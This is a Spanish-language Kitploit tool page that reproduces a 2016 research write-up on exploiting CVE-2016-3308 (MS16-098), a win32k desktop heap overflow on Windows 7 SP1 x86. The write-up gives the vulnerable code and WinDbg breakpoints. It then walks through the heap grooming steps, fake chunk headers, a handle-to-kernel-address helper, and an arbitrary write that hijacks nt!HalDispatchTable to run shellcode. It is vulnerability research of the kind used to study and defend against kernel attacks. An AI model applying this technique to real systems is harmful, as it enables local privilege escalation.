Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2016-3308 — Usar CVE-2016-3308 para corromper el heap de escritorio de win32k | Kitploit
Herramientas/GitHubGitHub/jackhuyh/cve-2016-3308
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónExplotación de Binarios
GitHubjackhuyh/cve-2016-3308

CVE-2016-3308

Usar CVE-2016-3308 para corromper el heap de escritorio de win32k

Ver Repositorio
121hace 9 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Usar CVE-2016-3308 para corromper el desktop heap de win32k

autor : @55-AA, 18 de septiembre de 2016

##Introducción

El desktop heap es un pool del kernel usado por win32k; puede ser explotado por una aplicación en modo usuario. A continuación describiré en detalle cómo implementar una explotación fiable para leer/escribir direcciones arbitrarias en el kernel. Este writeup y el análisis asociado se realizaron en una instalación win7_sp1_x86 (build 17842).

##Vulnerabilidad

El 9 de agosto de 2016, Microsoft publicó MS16-098. El código vulnerable se encuentra dentro de la función win32k!xxxInsertMenuItem, cuyo prototipo es :

root@kitploit:~
BOOL xxxInsertMenuItem(
        PMENU pMenu, 
        UINT wIndex, 
        BOOL fByPosition, 
        LPMENUITEMINFOW lpmii, 
        PUNICODE_STRING pstrItem
    );

Primero veamos el pseudo-código del bug en xxxInsertMenuItem:

root@kitploit:~
if (pMenu->cItems >= pMenu->cAlloced) {
    if (pMenu->rgItems) {
        pNewItems = (PITEM)DesktopAlloc(
                        pMenu->head.rpdesk,
                        (pMenu->cAlloced + CMENUITEMALLOC) * sizeof(ITEM),
                        DTAG_MENUITEM);
 ......

    pMenu->cAlloced += CMENUITEMALLOC;
    pMenu->rgItems = pNewItems;
    if (wIndex != MFMWFP_NOITEM)
        pItem = MNLookUpItem(pMenu, wIndex, fByPosition, &pMenuItemIsOn);

......

pMenu->cItems++;
if (pItem != NULL) {
    RtlMoveMemory(pItem + 1, pItem, (pMenu->cItems - 1) *
            sizeof(ITEM) - ((char *)pItem - (char *)pMenu->rgItems));
} else {

En el código anterior, cuando el 9.º elemento (a partir del 1.º) se añadía a pMenu, se llamaba a DesktopAlloc() para reasignar un nuevo pMenu->rgItems. Después se llamaba a MNLookUpItem() para obtener la ubicación del elemento en pMenu->rgItems. Pero el pItem devuelto por MNLookUpItem() es un rgItems de otro pSubMenu, no del pMenu, por lo que al llamarse a RtlMoveMemory(), el pItem del pSubMenu y los bytes posteriores se sobrescribían debido al tamaño incorrecto del movimiento.

El siguiente es el código de desensamblado del bug, que desencadenaría una sobrescritura del heap; puede aprovecharse para construir un chunk falso:

root@kitploit:~
0: kd> u win32k!xxxInsertMenuItem+0x1f5 l8
win32k!xxxInsertMenuItem+0x1f5:
95d295af 6bc06c          imul    eax,eax,6Ch
95d295b2 2bc3            sub     eax,ebx
95d295b4 034634          add     eax,dword ptr [esi+34h]
95d295b7 50              push    eax
95d295b8 8d436c          lea     eax,[ebx+6Ch]
95d295bb 53              push    ebx
95d295bc 50              push    eax
95d295bd e85ea40100      call    win32k!memmove (95d43a20)

Para seguir el bug, uso estos breakpoints en WinDbg:

root@kitploit:~
ba e1 win32k!xxxInsertMenuItem

ba e1 win32k!xxxInsertMenuItem+0xf3    
95d294e3 e843e70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x129
95d294e3 e80de70200      call    win32k!DesktopAlloc (836d7bf5)

ba e1 win32k!xxxInsertMenuItem+0x1f5
95d295af 6bc06c          imul    eax,eax,6Ch

Para desencadenar el bug, deben llevarse a cabo los siguientes pasos:

  1. Crear un menú.
  2. Crear un submenú como primer ITEM del menú con ID 0x123; es necesario establecer MENUITEMINFO.hbmpItem con HBMMENU_SYSTEM.
  3. Añadir otros 7 ITEMs con ID de 0x1001 a 0x1007 al menú.
  4. Añadir un ITEM con ID 1 al submenú.
  5. Añadir otros 8 ITEMs al submenú, para obtener un tagMENU.rgItems con 16 slots. Pero este paso no es necesario para desencadenar el bug si solo se necesita un crash.
  6. Añadir el 9.º ITEM con ID 0x123 al menú, de modo que se llama a RtlMoveMemory() con parámetros incorrectos.

Desktop Heap

El desktop heap es un pool global utilizado por todos los procesos GUI. Todos los objetos GUI, como Window o Menu, se almacenan en el desktop heap y son gestionados por el asignador de heap del kernel. El asignador de heap del kernel usa funciones conocidas como RtlAllocateHeap y RtlFreeHeap. A diferencia del heap en modo usuario, el desktop heap no emplea asignadores de front-end, por lo que no hay Low Fragmentation Heap, ni listas Lookaside, etc. Tampoco hay Heap Encoding hasta Windows 8 y posteriores. La siguiente es la estructura de chunk en win7_sp1_x86:

root@kitploit:~
typedef struct _HEAP_ENTRY {
    USHORT Size;
    UCHAR Flags;
    UCHAR SegmentIndex;
    USHORT PreviousSize;
    UCHAR SegmentOffset;
    UCHAR UnusedBytes;
 } HEAP_ENTRY, *PHEAP_ENTRY;

Los campos Size y PreviousSize representan el tamaño de los chunks desplazado a la derecha HEAP_GRANULARITY_SHIFT bits (definido como 3 en sistemas de 32 bits). El campo Size especifica el chunk actual, y PreviousSize especifica el anterior. El bit más bajo de Flags normalmente se establece a HEAP_ENTRY_BUSY(0x01), lo que indica que el chunk está en uso; si no, es 0x00.

La siguiente figura muestra la relación entre estos campos y los bloques de chunks. La segunda WORD subrayada en verde (0x000f) representa que el tamaño del chunk actual es 0x78 bytes; la segunda WORD subrayada en negro (0x0003) representa que el tamaño del chunk anterior es 0x18 bytes; y las WORDs subrayadas en rojo (0x0001) representan que los chunks actuales están en uso. Aquí, el tamaño del chunk incluye el tamaño de la cabecera, definida como la estructura HEAP_ENTRY anterior.

Es la característica más importante para la corrupción del heap: el asignador de heap siempre obtiene el chunk liberado más recientemente. Esto significa que podemos asignar un chunk con cualquier tamaño y en la ubicación que queramos.

Corruption

Aprovechando el bug, puedo sobrescribir algunos bytes en el desktop heap, obteniendo así un chunk falso que reemplaza a un chunk normal. Luego libero el chunk reemplazado, de modo que el chunk falso se coloca en la cima de la lista de chunks libres. Posteriormente, el chunk falso se reutiliza, y puedo escribir cualquier byte en él; la región escribible se superpone con varios chunks normales, pero no puede cubrir todo el espacio del kernel. Por lo tanto, necesito construir otra primitiva R/W en la región superpuesta, aprovechando tagWND.strName para escribir en direcciones arbitrarias. El puntero de strName.Buffer puede llevarnos a cualquier lugar, tanto del kernel como del espacio de usuario. Por supuesto, nuestro objetivo es solo nt!HalDispatchTable.

La siguiente figura muestra el procedimiento de cambio del heap:

Según lo demostrado, corrompo el desktop heap paso a paso e implemento la explotación mediante las siguientes etapas:

  1. Crear algunas ventanas con WndText de tamaño 1, repetir FILL_HOLE_COUNT veces para rellenar el agujero antiguo.
  2. Crear WND_0 ~ WND_5 para operar con los datos de los chunks.
  3. Crear un menú, y crear un submenú como primer ITEM del menú con ID 0x123. Luego añadir otros 7 ITEMs con ID 0x1001~0x1007 al menú.
  4. Añadir un ITEM con ID 1 y otros 7 ITEMs con ID 0x2001~0x2007 al submenú.
  5. Añadir el 9.º ITEM con ID 0x2008 al submenú, para obtener un tagMENU.rgItems con 16 slots.
  6. Establecer el texto de WND_5 en 0x360 bytes para rellenar el agujero original de los ITEMs*8 del submenú.
  7. Establecer el texto de WND_1 en 0x70 bytes, preparar la cabecera del chunk falso.
  8. Establecer el texto de WND_2 en 0x70 bytes, construir un placeholder para el chunk falso.
  9. Establecer el texto de WND_0 en 0x6c0 bytes, construir un placeholder para los futuros ITEMs*16 del menú.
  10. Crear la Primitive-WND con un tagPROPLIST auto-creado.
  11. Crear la Corrupt-WND con un tagPROPLIST auto-creado.
  12. Establecer el texto de WND_3 en 0x10 bytes para el siguiente chunk falso que sigue al del paso 8.
  13. Guardar el diseño del heap para restaurarlo en la etapa de salida.
  14. Restablecer el texto de WND_0 a 0x700 bytes, para liberar un agujero de 0x6c0.
  15. Añadir el 9.º ITEM al menú; éste reutiliza el chunk liberado en el paso 14, y el bug se desencadena.
  16. Restablecer el texto de WND_2 a 0x80 bytes, lo que hace que el chunk falso se coloque al principio de la lista liberada.
  17. Establecer el texto de Corrupt-WND en 0x8e0 bytes, y entonces el chunk falso se reutiliza.
  18. Al establecer el texto de Primitive-WND, ejecutar la write-primitive para sobrescribir nt!HalDispatchTable[1].
  19. Desencadenar el shellcode llamando a NtQueryIntervalProfile.
  20. Restaurar el diseño del heap guardado y salir.

El paso clave de la lista anterior para construir el heap fengshui:

En el paso 7, construiré una cabecera de heap falsa en el texto de WND_1, que especifica la condición futura del chunk. Como se muestra en la sección azul de la figura anterior, sobrescribirá la sección roja. La distancia desde 'Corrupt HDR' hasta 'red HDR' es 0x6c, que es el tamaño de un ITEM. Estos parámetros son los siguientes:

root@kitploit:~
pHeapEntry->PreviousSize = (0x6c8 + 0x78) >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Size = 0x8e8 >> HEAP_GRANULARITY_SHIFT;
pHeapEntry->Flags = 1;
pHeapEntry->UnusedBytes = 8;

En el paso 12, construiré la siguiente cabecera de heap falsa en el texto de WND_3, lo que hace que el asignador de heap crea que estos chunks falsos están encadenados normalmente.

En el paso 15, el bug se desencadenaría. Debido a que se añade el 9.º ITEM, la lista de ITEMs se reasigna, reutilizando el chunk liberado del texto de WND_0. Así, la distancia desde 'SubMenuITEMs HDR' hasta 'MenuITEMs HDR' es (0x6c8+0x78+0x78) bytes, y los datos dentro de esta región se sobrescribirían a sí mismos. En este paso, las cabeceras de los chunks de WND_1, WND_2 y MenuITEMs resultan dañadas. Para salir del proceso normalmente, guardo algunos datos, de modo que pueda restaurarlos en el paso 20.

En el paso 13, guardo algunos datos antes de que resulten dañados. Sin embargo, estoy en modo usuario, así que no puedo leer esos datos del kernel. Afortunadamente, hay una sección mapeada en el espacio de usuario: es la imagen del desktop heap. Aunque es de solo lectura, es suficiente para mi propósito. Para obtener la dirección de la sección de la imagen en el espacio de usuario, se puede usar Win32ClientInfo, una estructura no documentada en TEB; veámosla:

root@kitploit:~
typedef struct _CLIENTINFO { 
    ULONG_PTR CI_flags; 
    ULONG_PTR cSpins; 
    DWORD dwExpWinVer; 
    DWORD dwCompatFlags; 
    DWORD dwCompatFlags2; 
    DWORD dwTIFlags; 
    PDESKTOPINFO pDeskInfo; 
    ULONG_PTR ulClientDelta;
} CLIENTINFO, *PCLIENTINFO;

typedef struct _DESKTOPINFO { 
    PVOID pvDesktopBase; 
    PVOID pvDesktopLimit; 
} DESKTOPINFO, *PDESKTOPINFO;

Los campos que nos interesan son pvDesktopBase y ulClientDelta. pvDesktopBase apunta a la dirección del desktop heap en el kernel; ulClientDelta es un valor delta que especifica el desplazamiento entre la imagen en el espacio de usuario y la dirección del kernel.

Además, necesito una relación mapeada desde HANDLE hasta la dirección del kernel. Existe una variable global llamada gSharedInfo, exportada por user32.dll en win7 y posteriores. Se define de la siguiente manera:

root@kitploit:~
typedef struct _SHAREDINFO{
	PSERVERINFO psi;      
	PHANDLEENTRY aheList;
	ULONG HeEntrySize;
	ULONG_PTR pDispInfo;      
	ULONG_PTR ulSharedDelta;
	ULONG_PTR awmControl[31];
	ULONG_PTR DefWindowMsgs;
	ULONG_PTR DefWindowSpecMsgs;
}SHAREDINFO,*PSHAREDINFO;

Así, puedo obtener la dirección del kernel a partir de un handle mediante la función:

root@kitploit:~
PVOID GetMappedHandlePtr(HANDLE MyHandle, PVOID * UserlandPtr)
{
	HANDLEENTRY * UserHandleTable = g_pSharedInfo->aheList;
	ULONG cEntries = g_pSharedInfo->psi->cHandleEntries;
	ULONG dwIndex = (ULONG)MyHandle & 0xFFFF;
	ULONG dwUniq = (ULONG)MyHandle >> 16;
	if(dwIndex <= cEntries) {
		if (dwUniq == UserHandleTable[dwIndex].wUniq) {
			*UserlandPtr = (PVOID)(
                (ULONG_PTR)UserHandleTable[dwIndex].phead - g_DeltaDesktopHeap);
			return (PVOID)UserHandleTable[dwIndex].phead;
		}
	}
	return NULL;
}

En los pasos 17, 18 y 20, quiero escribir algunos bytes en el kernel, así que aprovecho el texto de la ventana. Es un LARGE_UNICODE_STRING asignado en el desktop heap y asociado a un objeto ventana. Podemos encontrarlo en la estructura tagWND; en win7_sp1_x86, su offset es 0x84, y el offset 0x8c es el puntero que podemos controlar para leer/escribir. En el espacio de usuario, puedo llamar a NtUserDefSetText() para establecer el texto de la ventana; el contenido del texto se escribiría en la dirección del kernel que queramos.

En el paso 19, desencadeno el objetivo final, el shellcode. Al llamar a NtQueryIntervalProfile() en el espacio de usuario, originalmente se llamaría a hal!HaliQuerySystemInformation, pero su puntero de función en nt!HalDispatchTable ha sido reemplazado por mi propia función en el paso 18. Por cierto, cuando el primer parámetro de NtQueryIntervalProfile se establece en 1, hay un cortocircuito, debido al siguiente código en el offset 84115505:

root@kitploit:~
nt!KeQueryIntervalProfile:
841154fd 8bff            mov     edi,edi
841154ff 55              push    ebp
84115500 8bec            mov     ebp,esp
84115502 83ec10          sub     esp,10h
84115505 83f801          cmp     eax,1
84115508 7507            jne     nt!KeQueryIntervalProfile+0x14 (84115511)
8411550a a108f7fa83      mov     eax,dword ptr [nt!KiProfileAlignmentFixupInterval (83faf708)]
8411550f c9              leave
84115510 c3              ret

Aparte de eso, cualquier otro valor seguiría el flujo normal.

Para seguir cómodamente todo el procedimiento de corrupción, imprimo algunos valores clave en la consola.

Según la salida, podemos vislumbrar el diseño del desktop heap corrupto con WinDbg.

Estos son WND_1_Text y WND_2_Text en los pasos 7 y 8:

root@kitploit:~
1: kd> db fea2d7a8-8 l78*2
fea2d7a0  0f 00 01 00 d9 00 00 08-00 00 00 00 1d 01 01 00  ................
fea2d7b0  e8 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d810  00 00 00 00 00 00 00 00-0f 00 01 00 0f 00 00 08  ................
fea2d820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

Esta es la condición después de ser explotado en el paso 15:

root@kitploit:~
0: kd> db fea2d7a8-8 l78*2
fea2d7a0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7b0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7c0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7d0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d7f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d800  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d810  d9 00 00 08 00 00 00 00-1d 01 01 00 e8 00 00 08  ................
fea2d820  f0 36 a3 fe 10 ca a2 fe-00 00 00 00 00 00 00 00  .6..............
fea2d830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d850  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d860  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d870  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d880  00 00 00 00 0f 00 01 00-0f 00 00 08 00 00 00 00  ................

Este es el chunk falso completado:

root@kitploit:~
0: kd> db fea2d820-8
fea2d818  1d 01 01 00 e8 00 00 08-f0 36 a3 fe 10 ca a2 fe  .........6......
fea2d828  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d838  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d848  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d858  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d868  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fea2d878  00 00 00 00 00 00 00 00-00 00 00 00 0f 00 01 00  ................
fea2d888  0f 00 00 08 00 00 00 00-00 00 00 00 00 00 00 00  ................

Este es el segundo chunk falso completado:

root@kitploit:~
0: kd> db fea2d820-8 + 11d*8
fea2e100  02 00 01 00 1d 01 00 08-00 00 00 00 00 00 00 00  ................
fea2e110  0d 00 01 00 03 00 00 0c-38 26 a1 fe 80 c1 80 c1  ........8&......
fea2e120  00 00 00 00 40 8c 47 88-00 00 00 00 00 00 c1 00  [email protected].........
fea2e130  00 00 00 00 00 00 00 00-00 00 00 00 18 e1 a2 fe  ................
fea2e140  00 00 00 00 00 00 00 00-00 40 00 00 9c 88 d0 95  .........@......
fea2e150  00 00 00 00 00 00 00 00-00 00 88 00 00 00 00 00  ................
fea2e160  e8 3e b5 ff 06 00 00 00-00 00 00 00 80 e1 a2 fe  .>..............
fea2e170  00 00 00 00 00 00 00 00-05 00 01 00 0d 00 00 09  ................

PrimitiveWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + 84
fea2dfe4  02 00 00 00 04 00 00 00-fc 53 f7 83 00 00 00 00  .........S......
fea2dff4  60 df a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  `...............
fea2e004  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e014  17 00 00 08 01 00 00 00-01 00 00 00 88 19 7e 01  ..............~.
fea2e024  18 a9 00 00 17 00 01 00-03 00 00 08 fc 03 03 00  ................
fea2e034  03 00 00 00 38 48 96 fe-40 8c 47 88 30 e0 a2 fe  [email protected]...
fea2e044  18 00 08 60 00 07 00 80-00 01 00 00 00 00 cf 04  ...`............
fea2e054  00 00 00 00 00 00 00 00-60 df a2 fe 28 81 a1 fe  ........`...(...

CorruptWnd tagWND.strName

root@kitploit:~
0: kd> db fea2d820 + 78 + 6c8 + d0 + 84
fea2e0b4  de 08 00 00 e0 08 00 00-20 d8 a2 fe 00 00 00 00  ........ .......
fea2e0c4  30 e0 a2 fe 17 03 10 00-00 00 00 00 00 00 00 00  0...............
fea2e0d4  00 00 00 00 00 00 00 00-08 00 00 00 03 00 01 00  ................
fea2e0e4  17 00 00 08 01 00 00 00-01 00 00 00 90 1e 7e 01  ..............~.
fea2e0f4  18 a9 00 00 03 00 01 00-03 00 00 08 02 00 01 00  ................
fea2e104  1d 01 00 08 00 00 00 00-00 00 00 00 0d 00 01 00  ................
fea2e114  03 00 00 0c 38 26 a1 fe-80 c1 80 c1 00 00 00 00  ....8&..........
fea2e124  40 8c 47 88 00 00 00 00-00 00 c1 00 00 00 00 00  @.G.............

El puntero del shellcode reemplazado:

root@kitploit:~
0: kd> dds nt!HalDispatchTable
83f753f8  00000004
83f753fc  013711c0
83f75400  83e3c1b4 hal!HalpSetSystemInformation
83f75404  840fe71f nt!xHalQueryBusSlots
83f75408  00000000

0: kd> u 013711c0
013711c0 a188fa3701      mov     eax,dword ptr ds:[0137FA88h]
013711c5 8b0d80fa3701    mov     ecx,dword ptr ds:[137FA80h]
013711cb 894804          mov     dword ptr [eax+4],ecx
013711ce 33c0            xor     eax,eax
013711d0 c21000          ret     10h

##Referencias

  • An Analysis Of MS16-098
  • Exploiting the win32k!xxxEnableWndSBArrows use-after-free (CVE 2015-0057) bug on both 32-bit and 64-bit
  • Kernel Attacks through User-Mode Callbacks
Descargar herramienta